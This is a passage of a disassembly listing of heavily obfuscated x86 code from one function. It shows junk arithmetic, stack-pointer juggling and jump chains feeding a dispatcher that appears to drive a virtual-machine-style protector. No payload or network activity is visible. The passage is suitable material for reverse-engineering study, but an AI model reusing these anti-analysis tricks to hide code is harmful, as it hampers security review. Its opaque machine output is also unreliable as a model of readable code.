		sub	edx, 1A79407Ch
		push	0
		jmp	loc_58CDB5
; ---------------------------------------------------------------------------


loc_582A88:				; CODE XREF: sub_57DD3A+CF10j
		neg	dl
		push	ebx
		jmp	loc_582966
; ---------------------------------------------------------------------------


loc_582A90:				; CODE XREF: sub_57DD3A+C6B0j
		mov	eax, esp
		jmp	loc_585584
; ---------------------------------------------------------------------------


loc_582A97:				; CODE XREF: sub_57DD3A+713Ej
		neg	edi
		xor	edi, 15D25EEDh
		add	edi, 35883015h
		jmp	loc_5882A8
; ---------------------------------------------------------------------------


loc_582AAA:				; CODE XREF: sub_57DD3A+6957j
		pop	edx
		jmp	loc_58B43E
; ---------------------------------------------------------------------------


loc_582AB0:				; CODE XREF: sub_57DD3A+80CDj
		sub	edi, ecx
		pop	ecx
		add	ecx, edi
		pop	edi
		pop	esi
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+5Ch+var_5C]
		jmp	loc_586798
; ---------------------------------------------------------------------------


loc_582AC8:				; CODE XREF: sub_57DD3A+6C47j
		xchg	ebx, [esp+5Ch+var_5C]
		pop	esp
		sub	eax, edx
		jmp	loc_5895A7
; ---------------------------------------------------------------------------


loc_582AD3:				; CODE XREF: sub_57DD3A+A2F8j
		mov	edi, [esp+58h+var_58]
		add	esp, 4
		push	ecx
		mov	ecx, 10ED267Dh
		xor	ecx, 0F3E1142h
		shr	ecx, 7
		sub	ecx, 3FA66Ah
		add	edi, ecx
		mov	ecx, [esp+58h+var_58]
		sub	esp, 4
		jmp	loc_58C69E
; ---------------------------------------------------------------------------


loc_582B01:				; CODE XREF: sub_57DD3A+7D4Ej
		push	eax
		mov	eax, 6A951B9Eh
		dec	eax
		xor	eax, 6CC087Ch
		jmp	loc_581D8E
; ---------------------------------------------------------------------------


loc_582B12:				; CODE XREF: sub_57DD3A+B85Aj
		shr	al, 5
		xor	al, 31h
		sub	bl, al
		mov	eax, [esp+60h+var_60]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_582417
; ---------------------------------------------------------------------------


loc_582B30:				; CODE XREF: sub_57DD3A+6805j
		mov	esi, [esp+64h+var_64]
		jmp	loc_5855A5
; ---------------------------------------------------------------------------


loc_582B38:				; CODE XREF: sub_57DD3A+AC5Dj
		push	eax
		pushf
		jmp	loc_587BC8
; ---------------------------------------------------------------------------


loc_582B3F:				; CODE XREF: sub_57DD3A+3CB9j
		shl	eax, 6
		xor	eax, 0E4775444h
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp+5Ah+var_5C+2]
		mov	esp, [esp+5Ah+var_5C+2]
		mov	[esp+5Ah+var_5C+2], ebp
		jmp	loc_5846FD
; ---------------------------------------------------------------------------


loc_582B5E:				; CODE XREF: sub_57DD3A+E4DDj
		mov	ebx, [esp+5Ah+var_5C+2]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+5Ah+var_5C+2]
		pop	esp
		sub	bl, cl
		pop	cx
		jmp	loc_5844A6
; ---------------------------------------------------------------------------


loc_582B7D:				; CODE XREF: sub_57DD3A+CE49j
		xor	ebp, 54B153B4h
		jmp	loc_58C911
; ---------------------------------------------------------------------------


loc_582B88:				; CODE XREF: sub_57DD3A+D582j
		xchg	eax, [esp+54h+var_54]
		jmp	loc_589F4E
; ---------------------------------------------------------------------------


loc_582B90:				; CODE XREF: sub_57DD3A+5A39j
		pop	esp
		cmp	ecx, eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_582B99:				; CODE XREF: sub_57DD3A+7C9Dj
		push	131Dh
		mov	[esp+58h+var_58], ebx
		mov	ebx, 1
		sub	edx, 180D1FDEh
		add	edx, ebx
		add	edx, 180D1FDEh
		pop	ebx
		push	edi
		jmp	loc_585AF5
; ---------------------------------------------------------------------------


loc_582BBB:				; CODE XREF: sub_57DD3A+A1EBj
		pop	ebp
		pop	edx
		jmp	loc_58909F
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+50h+var_50]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		push	ecx
		mov	ecx, 4AA242BCh
		mov	edx, 79E4643Dh
		sub	edx, ecx
		pop	ecx
		xor	edx, 3ED87F95h
		xor	edx, 119A5E10h
		sub	ecx, edx
		jmp	loc_585E7F
; ---------------------------------------------------------------------------


loc_582BFA:				; CODE XREF: sub_57DD3A+48E1j
		push	eax
		mov	eax, 695061BFh
		xor	eax, 51804DE8h
		sub	ecx, eax
		pop	eax
		add	ecx, 4B4803E1h
		sub	ecx, 14C0168Ah
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		jmp	loc_5865D8
; ---------------------------------------------------------------------------


loc_582C1F:				; CODE XREF: sub_57DD3A+AAE8j
		push	76CFh
		mov	[esp+90h+var_90], edi
		mov	edi, esp
		jmp	loc_58A9AC
; ---------------------------------------------------------------------------


loc_582C2E:				; CODE XREF: sub_57DD3A+D239j
		mov	ecx, 1D823D19h
		not	ecx
		jmp	loc_588B65
; ---------------------------------------------------------------------------


loc_582C3A:				; CODE XREF: sub_57DD3A+875Bj
		mov	ebp, 19901165h
		jmp	loc_582EC6
; ---------------------------------------------------------------------------
		mov	esp, [esp+90h+var_90]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_582C4C:				; CODE XREF: sub_57DD3A+CCC8j
		mov	edx, 389456B1h
		sub	eax, 12315C4Ch
		add	eax, edx
		jmp	loc_584399
; ---------------------------------------------------------------------------


loc_582C5D:				; CODE XREF: sub_57DD3A+7581j
		add	esp, 4
		sub	edx, eax
		push	esi
		mov	esi, 0C1829A3h
		add	edx, esi
		pop	esi
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_582C70:				; CODE XREF: sub_57DD3A+93EEj
		push	23A7h
		mov	[esp+90h+var_90], edi
		push	edx
		jmp	loc_58B3CB
; ---------------------------------------------------------------------------


loc_582C7E:				; CODE XREF: sub_57DD3A+ECBDj
		mov	esi, 64386DE2h
		shr	esi, 2
		not	esi
		dec	esi
		inc	esi
		sub	esi, 0E6F1E483h
		sub	ebx, esi
		pop	esi
		xor	ebx, [esp+90h+var_90]
		jmp	loc_585A49
; ---------------------------------------------------------------------------


loc_582C9B:				; CODE XREF: sub_57DD3A+832Ej
		push	edx
		mov	dl, bl
		mov	[edi+eax*4+1], dl
		pop	edx
		push	[esp+90h+var_90]
		jmp	loc_588D7A
; ---------------------------------------------------------------------------


loc_582CAB:				; CODE XREF: sub_57DD3A+CA5Aj
		mov	[esp+94h+var_94], ebx
		mov	ebx, esp
		push	3BE1h
		mov	[esp+98h+var_98], ecx
		push	ebx
		mov	ebx, 6E633E2Ah
		mov	ecx, 0C27C5A82h
		sub	ecx, ebx
		mov	ebx, [esp+9Ch+var_9C]
		add	esp, 4
		push	ecx
		xchg	ebx, [esp+9Ch+var_9C]
		jmp	loc_582DEC
; ---------------------------------------------------------------------------


loc_582CD4:				; CODE XREF: sub_57DD3A+C43Ej
		sub	esp, 4
		mov	[esp+0A0h+var_A0], ebx
		push	ebp
		mov	ebp, 3C9649F3h
		mov	ebx, ebp
		jmp	loc_584491
; ---------------------------------------------------------------------------


loc_582CEA:				; CODE XREF: sub_57DD3A+7886j
		push	ebp
		jmp	loc_58CB48
; ---------------------------------------------------------------------------


loc_582CF0:				; CODE XREF: sub_57DD3A+4669j
		push	ecx
		push	eax
		mov	eax, 4A026BDDh
		mov	ecx, eax
		mov	eax, [esp+86h+var_88+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4EEA3BD8h
		dec	eax
		not	eax
		jmp	loc_58CC68
; ---------------------------------------------------------------------------


loc_582D13:				; CODE XREF: sub_57DD3A+F399j
		xchg	edi, [esp+8Eh+var_90+2]
		mov	esp, [esp+8Eh+var_90+2]
		shl	word ptr [esp+8Eh+var_90+2], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_582D23:				; CODE XREF: sub_57DD3A+8F2Fj
		pop	esp
		mov	[esp+8Eh+var_90+2], eax
		mov	eax, 2
		add	edx, 3E8747E7h
		add	edx, eax
		sub	edx, 3E8747E7h
		push	[esp+8Eh+var_90+2]
		jmp	loc_58908E
; ---------------------------------------------------------------------------


loc_582D42:				; CODE XREF: sub_57DD3A+6AC5j
		inc	eax
		jmp	loc_58DCD4
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+92h+var_94+2]
		push	37DAh
		jmp	loc_581BF5
; ---------------------------------------------------------------------------


loc_582D56:				; CODE XREF: sub_57DD3A+F777j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+96h+var_98+2]
		pop	esp
		jmp	loc_582922
; ---------------------------------------------------------------------------


loc_582D68:				; CODE XREF: sub_57DD3A+BF39j
		push	edx
		jmp	loc_58C22D
; ---------------------------------------------------------------------------


loc_582D6E:				; CODE XREF: sub_57DD3A+8292j
		pop	[esp+96h+var_98+2]
		mov	esp, [esp+92h+var_94+2]
		add	ecx, 4
		jmp	loc_586D1E
; ---------------------------------------------------------------------------


loc_582D7F:				; CODE XREF: sub_57DD3A+C26Bj
		inc	esi
		sub	esi, 70F767FBh
		shr	esi, 7
		and	esi, 14DB7200h
		jmp	loc_58A872
; ---------------------------------------------------------------------------


loc_582D94:				; CODE XREF: sub_57DD3A+7B68j
		sub	ebp, eax
		sub	ebp, 0F935E9Ah
		pop	eax
		jmp	loc_584C37
; ---------------------------------------------------------------------------


loc_582DA2:				; CODE XREF: sub_57DD3A+6E79j
		pop	edx
		sub	eax, 4
		push	eax
		push	[esp+8Eh+var_8C+2]
		mov	eax, [esp+92h+var_94+2]
		add	esp, 4
		pop	[esp+8Eh+var_90+2]
		jmp	loc_58A79F
; ---------------------------------------------------------------------------


loc_582DB9:				; CODE XREF: sub_57DD3A+6224j
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], esi
		mov	esi, ebx
		jmp	loc_58198E
; ---------------------------------------------------------------------------


loc_582DC6:				; CODE XREF: sub_57DD3A+590Ej
		mov	eax, 3D00177Fh
		xor	edx, eax
		jmp	loc_58C9A2
; ---------------------------------------------------------------------------


loc_582DD2:				; CODE XREF: sub_57DD3A+4619j
		add	ebp, 4
		jmp	loc_58A154
; ---------------------------------------------------------------------------


loc_582DDD:				; CODE XREF: sub_57DD3A+3E55j
		shr	ebx, 5
		xor	ebx, 117D6552h
		push	edx
		jmp	loc_581E51
; ---------------------------------------------------------------------------


loc_582DEC:				; CODE XREF: sub_57DD3A+4F95j
		not	ebx
		xchg	ebx, [esp+9Ch+var_9C]
		pop	ecx
		add	ecx, 54191C5Dh
		jmp	loc_58CBF1
; ---------------------------------------------------------------------------


loc_582DFD:				; CODE XREF: sub_57DD3A+D20Ej
		mov	dh, ah
		mov	bl, dh
		jmp	loc_583E3D
; ---------------------------------------------------------------------------


loc_582E06:				; CODE XREF: sub_57DD3A+3ED4j
		mov	edx, 3B19504Ch
		push	4148h
		mov	[esp+80h+var_80], eax
		mov	eax, 193C7EFEh
		or	edx, eax
		pop	eax
		push	edx
		inc	[esp+80h+var_80]
		mov	edx, [esp+80h+var_80]
		add	esp, 4
		jmp	loc_588AAC
; ---------------------------------------------------------------------------


loc_582E2D:				; CODE XREF: sub_57DD3A+5ABFj
		mov	ebp, [esp+7Ch+var_7C]
		jmp	loc_583ABB
; ---------------------------------------------------------------------------


loc_582E35:				; CODE XREF: sub_57DD3A+7F1Dj
		add	ebp, ecx
		pop	ecx
		add	ebp, 2
		xchg	ebp, [esp+78h+var_78]
		pop	esp
		push	ebx
		push	2CEDh
		mov	[esp+7Ch+var_7C], ecx
		mov	ch, al
		jmp	loc_58561D
; ---------------------------------------------------------------------------


loc_582E4F:				; CODE XREF: sub_57DD3A+7744j
		pop	esp
		mov	[esp+78h+var_78], edi
		push	esp
		pop	edi
		jmp	loc_5879B7
; ---------------------------------------------------------------------------


loc_582E5A:				; CODE XREF: sub_57DD3A+5CD6j
		add	edi, edx
		pop	edx
		xchg	edi, [esp+74h+var_74]
		pop	esp
		add	ebx, 4
		jmp	loc_587D07
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_584FC8
; ---------------------------------------------------------------------------


loc_582E72:				; CODE XREF: sub_57DD3A+6739j
		pop	edx
		sub	eax, ecx
		jmp	loc_587C39
; ---------------------------------------------------------------------------


loc_582E7A:				; CODE XREF: sub_57DD3A+4B75j
		mov	eax, 20703F2Ch
		mov	ebp, 3EC8358Ch
		jmp	loc_58C967
; ---------------------------------------------------------------------------


loc_582E89:				; CODE XREF: sub_57DD3A+8774j
		mov	ebp, 1B248C7h
		neg	ebp
		add	ebp, 6132C6F6h
		jmp	loc_58A585
; ---------------------------------------------------------------------------


loc_582E9B:				; CODE XREF: sub_57DD3A+D795j
		mov	word ptr [esp+0A6h+var_A8+2], dx
		mov	dh, 1Bh
		jmp	loc_587A95
; ---------------------------------------------------------------------------


loc_582EA6:				; CODE XREF: sub_57DD3A+EE09j
		add	eax, 20371F67h
		push	7098h
		mov	[esp+0AAh+var_AC+2], esi
		mov	esi, 1E5047AAh
		push	edx
		mov	edx, 6CB87C3Eh
		add	eax, edx
		pop	edx
		jmp	loc_589437
; ---------------------------------------------------------------------------


loc_582EC6:				; CODE XREF: sub_57DD3A+4F05j
		or	ebp, 67DA4631h
		jmp	loc_58800C
; ---------------------------------------------------------------------------


loc_582ED1:				; CODE XREF: sub_57DD3A+BCEDj
		pop	esi
		pop	[esp+8Ch+var_8C]
		pop	esp
		jmp	loc_586E5B
; ---------------------------------------------------------------------------


loc_582EDB:				; CODE XREF: sub_57DD3A+D6B5j
		push	esi
		mov	esi, 302C2728h
		neg	esi
		add	esi, 6AF66FA9h
		sub	esi, 0D341E4FDh
		sub	edi, esi
		jmp	loc_588C67
; ---------------------------------------------------------------------------


loc_582EF6:				; CODE XREF: sub_57DD3A+E307j
		sub	ebp, 5E5D1395h
		mov	eax, [esp+88h+var_88]
		add	esp, 4
		add	ebp, 2
		jmp	loc_58C1A6
; ---------------------------------------------------------------------------


loc_582F0A:				; CODE XREF: sub_57DD3A+EE6Dj
		push	cx
		mov	cl, bl
		not	cl
		mov	bl, cl
		pop	cx
		jmp	loc_5873CE
; ---------------------------------------------------------------------------


loc_582F19:				; CODE XREF: sub_57DD3A+5DBEj
		mov	[esp+84h+var_84], ecx
		jmp	loc_58BBF4
; ---------------------------------------------------------------------------


loc_582F21:				; CODE XREF: sub_57DD3A+F7B9j
		mov	eax, 4
		add	edx, 3023444Ah
		jmp	loc_582FD1
; ---------------------------------------------------------------------------


loc_582F31:				; CODE XREF: sub_57DD3A+A7B4j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+84h+var_84]
		pop	esp
		sub	esp, 4
		mov	[esp+84h+var_84], edx
		push	eax
		jmp	loc_588A76
; ---------------------------------------------------------------------------


loc_582F52:				; CODE XREF: sub_57DD3A+B6E8j
		push	2E2E6C23h
		pop	esi
		mov	ebx, esi
		pop	esi
		mov	ebp, 50EC4A1Bh
		xor	ebp, ebx
		pop	ebx
		inc	ebp
		sub	ebp, 7D5D79FDh
		shr	ebp, 3
		add	ebp, 0FFD36A7Dh
		jmp	loc_586B53
; ---------------------------------------------------------------------------


loc_582F78:				; CODE XREF: sub_57DD3A+7788j
		sub	al, ch
		jmp	loc_58AE67
; ---------------------------------------------------------------------------


loc_582F7F:				; CODE XREF: sub_57DD3A+5576j
		add	eax, 1F7C0297h
		mov	edx, [esp+80h+var_80]
		add	esp, 4
		sub	esp, 4
		mov	[esp+80h+var_80], esi
		mov	esi, 2
		add	eax, esi
		pop	esi
		xchg	eax, [esp+7Ch+var_7C]
		jmp	loc_58661F
; ---------------------------------------------------------------------------


loc_582FA3:				; CODE XREF: sub_57DD3A+6912j
		add	ecx, edi
		push	[esp+7Ch+var_7C]
		pop	edi
		jmp	loc_58ADD0
; ---------------------------------------------------------------------------


loc_582FAE:				; CODE XREF: sub_57DD3A+E27Dj
		pop	ebx
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp+78h+var_78]
		pop	esp
		jmp	loc_58ABBF
; ---------------------------------------------------------------------------


loc_582FC1:				; CODE XREF: sub_57DD3A+52FEj
		add	al, 0DEh
		pop	edx
		push	ecx
		mov	ch, 74h
		inc	ch
		push	edx
		mov	dh, 0Eh
		jmp	loc_58746D
; ---------------------------------------------------------------------------


loc_582FD1:				; CODE XREF: sub_57DD3A+51F2j
		sub	edx, eax
		push	489Eh
		jmp	loc_584C3F
; ---------------------------------------------------------------------------


loc_582FDD:				; CODE XREF: sub_57DD3A+66E4j
		sub	eax, 0B9C606FCh
		add	esi, eax
		push	[esp+88h+var_88]
		pop	eax
		add	esp, 4
		add	edi, esi
		pop	esi
		push	6A32h
		mov	[esp+84h+var_84], ecx
		mov	ecx, 2
		add	edi, ecx
		pop	ecx
		push	6EF6h
		mov	[esp+84h+var_84], edi
		jmp	loc_58DF46
; ---------------------------------------------------------------------------


loc_58300E:				; CODE XREF: sub_57DD3A+631Ej
		push	cx
		jmp	loc_58DD53
; ---------------------------------------------------------------------------


loc_583015:				; CODE XREF: sub_57DD3A+C8DFj
		add	esi, edi
		push	[esp+86h+var_88+2]
		pop	edi
		add	esp, 4
		add	esi, 4
		jmp	loc_58986C
; ---------------------------------------------------------------------------


loc_583029:				; CODE XREF: sub_57DD3A+FBA1j
		pop	bx
		neg	dh
		not	dh
		neg	dh
		add	dh, 0FBh
		sub	al, 0DEh
		sub	al, dh
		jmp	loc_582FC1
; ---------------------------------------------------------------------------


loc_58303D:				; CODE XREF: sub_57DD3A+75DAj
		mov	esi, [esp+80h+var_80]
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		push	ebp
		mov	ebp, 2DF2706Fh
		or	ebp, 3A14580Fh
		shl	ebp, 5
		inc	ebp
		shr	ebp, 7
		add	ebp, 1347710Eh
		add	ebp, 0F7DD0DDFh
		mov	ecx, ebp
		mov	ebp, [esp+8Ch+var_8C]
		add	esp, 4
		or	ecx, 258359B5h
		add	ecx, 646C6378h
		jmp	loc_582618
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	69E5h
		mov	[esp+8Ch+var_8C], edx
		jmp	loc_584953
; ---------------------------------------------------------------------------


loc_58308F:				; CODE XREF: sub_57DD3A+AFCFj
		xor	[esp+8Ch+var_8C], ecx
		xor	ecx, [esp+8Ch+var_8C]
		pop	esp
		mov	[esp+88h+var_88], ebx
		push	3E96h
		mov	[esp+8Ch+var_8C], eax
		jmp	loc_584CB1
; ---------------------------------------------------------------------------


loc_5830A6:				; CODE XREF: sub_57DD3A+4BB0j
		sub	eax, edi
		jmp	loc_58932A
; ---------------------------------------------------------------------------


loc_5830AD:				; CODE XREF: sub_57DD3A+F34Fj
		pop	ebx
		shl	ecx, 5
		sub	esp, 4
		jmp	loc_58D020
; ---------------------------------------------------------------------------


loc_5830BC:				; CODE XREF: sub_57DD3A+DD06j
		push	485Ch
		mov	[esp+0A6h+var_A8+2], ebx
		mov	ebx, 634C5957h
		dec	ebx
		dec	ebx
		shr	ebx, 5
		inc	ebx
		jmp	loc_581CE1
; ---------------------------------------------------------------------------


loc_5830D4:				; CODE XREF: sub_57DD3A+F4E1j
		xchg	eax, edi
		or	eax, 747461Eh
		sub	esp, 4
		jmp	loc_58C02E
; ---------------------------------------------------------------------------


loc_5830E5:				; CODE XREF: sub_57DD3A+F97Bj
		add	esp, 4
		add	eax, esi
		jmp	loc_58D2F7
; ---------------------------------------------------------------------------


loc_5830EF:				; CODE XREF: sub_57DD3A+E2A4j
		push	edx
		mov	edx, 5ACF07D0h
		add	edx, 185F378Ah
		jmp	loc_583752
; ---------------------------------------------------------------------------


loc_583100:				; CODE XREF: sub_57DD3A+9263j
		mov	eax, 36480902h
		inc	eax
		and	eax, 4A0B2D9Ah
		dec	eax
		jmp	loc_58AB55
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0AAh+var_AC+2]
		sub	esp, 4
		mov	[esp+0AEh+var_B0+2], ecx
		sub	esp, 4
		mov	[esp+0B2h+var_B4+2], esp
		jmp	loc_58C3CC
; ---------------------------------------------------------------------------


loc_583129:				; CODE XREF: sub_57DD3A+87E0j
		mov	ecx, [esp+0B2h+var_B4+2]
		jmp	loc_581BBA
; ---------------------------------------------------------------------------


loc_583131:				; CODE XREF: sub_57DD3A+47BEj
		pop	eax
		add	eax, ebp
		jmp	loc_58626E
; ---------------------------------------------------------------------------


loc_583139:				; CODE XREF: sub_57DD3A+7CCDj
		or	edx, 3C6E2A80h
		inc	edx
		push	ebp
		mov	ebp, 1BF016ABh
		inc	ebp
		sub	ebp, 2B9F6B0h
		sub	edx, ebp
		pop	ebp
		add	ecx, edx
		pop	edx
		add	esi, 68686B4Dh
		jmp	loc_58B68D
; ---------------------------------------------------------------------------


loc_58315E:				; CODE XREF: sub_57DD3A+8F24j
		not	dl
		push	small 4E1Bh
		mov	word ptr [esp+9Ch+var_9C], cx
		mov	ch, 96h
		xor	dl, ch
		jmp	loc_58E00E
; ---------------------------------------------------------------------------


loc_583171:				; CODE XREF: sub_57DD3A+77B8j
		push	edx
		mov	dh, 0B2h
		not	dh
		sub	dh, 61h
		xor	cl, dh
		pop	edx
		sub	cl, 0B9h
		push	eax
		mov	al, 6Dh
		or	cl, al
		jmp	loc_582522
; ---------------------------------------------------------------------------


loc_583189:				; CODE XREF: sub_57DD3A+E4BDj
		sub	bl, 35h
		sub	bl, dl
		add	bl, 35h
		mov	edx, [esp+0A0h+var_A0]
		jmp	loc_589C69
; ---------------------------------------------------------------------------


loc_583199:				; CODE XREF: sub_57DD3A+714Bj
		xchg	ecx, ebx
		inc	ecx
		jmp	loc_5839BA
; ---------------------------------------------------------------------------


loc_5831A1:				; CODE XREF: sub_57DD3A+481Cj
		push	ebp
		mov	ebp, 8A34FD4h
		add	ebp, 662AF6DEh
		sub	ebp, 0FFFFFFFFh
		sub	ebp, 31FC7684h
		xor	ebp, 2BB93DCEh
		add	ebp, 0E8971223h
		add	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 4DF230D6h
		push	ebx
		mov	ebx, 52D13B2Fh
		shr	ebx, 4
		jmp	loc_58824F
; ---------------------------------------------------------------------------


loc_5831D9:				; CODE XREF: sub_57DD3A+A0EFj
		push	ebx
		mov	ebx, 2
		sub	eax, ebx
		jmp	loc_583B37
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5831ED:				; CODE XREF: sub_57DD3A+96CDj
		mov	ebx, 4E1047E6h
		add	ebx, 2A5CDBDCh
		add	ecx, ebx
		jmp	loc_58837B
; ---------------------------------------------------------------------------


loc_5831FF:				; CODE XREF: sub_57DD3A+3C7Aj
		push	esi
		mov	esi, 7B7C738Fh
		sub	[esp+66h+var_5C+2], esi
		pop	esi
		pop	edx
		mov	ebx, [esp+5Eh+var_60+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+62h+var_64+2]
		pop	esp
		pop	dword ptr [edi+24h]


loc_583221:				; CODE XREF: sub_57DD3A+EBBFj
		sub	esp, 4
		jmp	loc_58C31F
; ---------------------------------------------------------------------------


loc_58322C:				; CODE XREF: sub_57DD3A+8DB9j
		or	esi, ecx
		jmp	loc_58CD94
; ---------------------------------------------------------------------------


loc_583233:				; CODE XREF: sub_57DD3A+8562j
		mov	[esp+5Eh+var_60+2], ecx
		push	edi
		push	6ED7090Ah
		pop	edi
		add	edi, 9128F6F8h
		mov	ecx, edi
		pop	edi
		jmp	loc_587220
; ---------------------------------------------------------------------------


loc_58324B:				; CODE XREF: sub_57DD3A+A4F0j
		pop	edi
		jmp	loc_588D97
; ---------------------------------------------------------------------------
		mov	esp, [esp+5Ah+var_5C+2]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_583259:				; CODE XREF: sub_57DD3A+BC46j
		xor	ecx, 0B958B883h
		jmp	loc_58A3EF
; ---------------------------------------------------------------------------


loc_583264:				; CODE XREF: sub_57DD3A+E0AAj
		pop	ebp
		add	edx, ecx
		jmp	loc_58AA73
; ---------------------------------------------------------------------------


loc_58326C:				; CODE XREF: sub_57DD3A+7B83j
		pop	ebp
		jmp	loc_58615C
; ---------------------------------------------------------------------------


loc_583272:				; CODE XREF: sub_57DD3A+9071j
		sub	esp, 4
		mov	[esp+56h+var_58+2], esp
		jmp	loc_58899C
; ---------------------------------------------------------------------------


loc_583280:				; CODE XREF: sub_57DD3A+A893j
		push	edx
		jmp	loc_58686C
; ---------------------------------------------------------------------------


loc_583286:				; CODE XREF: sub_57DD3A+9906j
		add	edx, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+5Eh+var_60+2]
		mov	esp, [esp+5Eh+var_60+2]
		mov	[esp+5Eh+var_60+2], edi
		jmp	loc_588A22
; ---------------------------------------------------------------------------


loc_5832A9:				; CODE XREF: sub_57DD3A+92B7j
		sub	eax, 1F7C0297h
		add	eax, edx
		jmp	loc_582F7F
; ---------------------------------------------------------------------------


loc_5832B5:				; CODE XREF: sub_57DD3A+72AAj
		shl	bh, 5
		push	dx
		mov	dl, bh
		not	dl
		mov	bh, dl
		pop	dx
		shl	bh, 8
		dec	bh
		not	bh
		push	edx
		mov	dh, 5Eh
		jmp	loc_589EA8
; ---------------------------------------------------------------------------


loc_5832D1:				; CODE XREF: sub_57DD3A+7153j
		add	esp, 4
		push	esi
		push	[esp+62h+var_60+2]
		mov	esi, [esp+66h+var_68+2]
		add	esp, 4
		pop	[esp+62h+var_64+2]
		jmp	loc_587E8D
; ---------------------------------------------------------------------------


loc_5832E7:				; CODE XREF: sub_57DD3A+4AAFj
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0B0h+var_B0]
		mov	esp, [esp+0B0h+var_B0]
		xor	ecx, 667D33CCh
		sub	esp, 4
		mov	[esp+0B4h+var_B4], edx
		push	6164h
		mov	[esp+0B8h+var_B8], ebx
		push	13EE7B04h
		mov	ebx, [esp+0BCh+var_BC]
		add	esp, 4
		push	edx
		mov	edx, 13EE7B03h
		jmp	loc_583E17
; ---------------------------------------------------------------------------


loc_583324:				; CODE XREF: sub_57DD3A+E613j
		sub	esp, 4
		mov	[esp+0C0h+var_C0], eax
		jmp	loc_58359B
; ---------------------------------------------------------------------------


loc_583332:				; CODE XREF: sub_57DD3A+750Dj
		shl	ch, 1
		add	ch, 0E9h
		push	eax
		mov	al, 0C6h
		xor	al, 0AFh
		xor	al, 41h
		jmp	loc_586423
; ---------------------------------------------------------------------------


loc_583343:				; CODE XREF: sub_57DD3A+B994j
		sub	esp, 4
		mov	[esp+0C8h+var_C8], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0C8h+var_C8]
		pop	esp
		mov	edx, edi
		push	[esp+0C4h+var_C4]
		jmp	loc_58A4D5
; ---------------------------------------------------------------------------


loc_583365:				; CODE XREF: sub_57DD3A+B269j
		add	ebp, 4
		add	ebp, 2
		push	ebp
		push	[esp+0CCh+var_C8]
		push	[esp+0D0h+var_D0]
		pop	ebp
		jmp	loc_58BE62
; ---------------------------------------------------------------------------
		push	bp
		push	small word ptr [esp+0D2h+var_D0]
		mov	bp, word ptr [esp+0D4h+var_D4]
		add	esp, 2
		pop	small word ptr [esp+0D0h+var_D0]
		push	bp
		xchg	dx, word ptr [esp+0D0h+var_D0]
		not	dx
		xor	word ptr [esp+0D0h+var_D0], dx
		xor	dx, word ptr [esp+0D0h+var_D0]
		xor	word ptr [esp+0D0h+var_D0], dx
		mov	bp, word ptr [esp+0D0h+var_D0]
		push	eax
		mov	eax, esp
		jmp	loc_5856C2
; ---------------------------------------------------------------------------


loc_5833B5:				; CODE XREF: sub_57DD3A+734Cj
		and	edx, 3CDB6312h
		shl	edx, 8
		jmp	loc_58D6A9
; ---------------------------------------------------------------------------


loc_5833C3:				; CODE XREF: sub_57DD3A+C5BCj
		pop	esp
		jmp	loc_58D3D8
; ---------------------------------------------------------------------------


loc_5833C9:				; CODE XREF: sub_57DD3A+6752j
		mov	edx, 7C8666FAh
		jmp	loc_587F61
; ---------------------------------------------------------------------------


loc_5833D3:				; CODE XREF: sub_57DD3A+74B4j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0D4h+var_D4]
		pop	esp
		jmp	loc_584DBC
; ---------------------------------------------------------------------------


loc_5833E8:				; CODE XREF: sub_57DD3A+DD89j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5833ED:				; CODE XREF: sub_57DD3A+8ADEj
		mov	esi, 6677532Bh
		xor	edx, esi
		pop	esi
		mov	edi, [esp+0CCh+var_CC]
		jmp	loc_587B0D
; ---------------------------------------------------------------------------


loc_5833FD:				; CODE XREF: sub_57DD3A+F3D6j
		add	edi, 0BAF6D387h
		add	ecx, 2BD8370Fh
		add	ecx, edi
		push	ebx
		mov	ebx, 2BD8370Fh
		sub	ecx, ebx
		mov	ebx, [esp+0D0h+var_D0]
		add	esp, 4
		mov	edi, [esp+0CCh+var_CC]
		add	esp, 4
		xchg	ecx, [esp+0C8h+var_C8]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	77E8h
		mov	[esp+0CCh+var_CC], ecx
		push	edx
		mov	edx, 5114274Eh
		jmp	loc_586686
; ---------------------------------------------------------------------------


loc_58343F:				; CODE XREF: sub_57DD3A+A59Cj
		mov	dh, byte ptr [esp+0D0h+var_D0]
		add	esp, 4
		dec	dh
		xor	dh, 0B7h
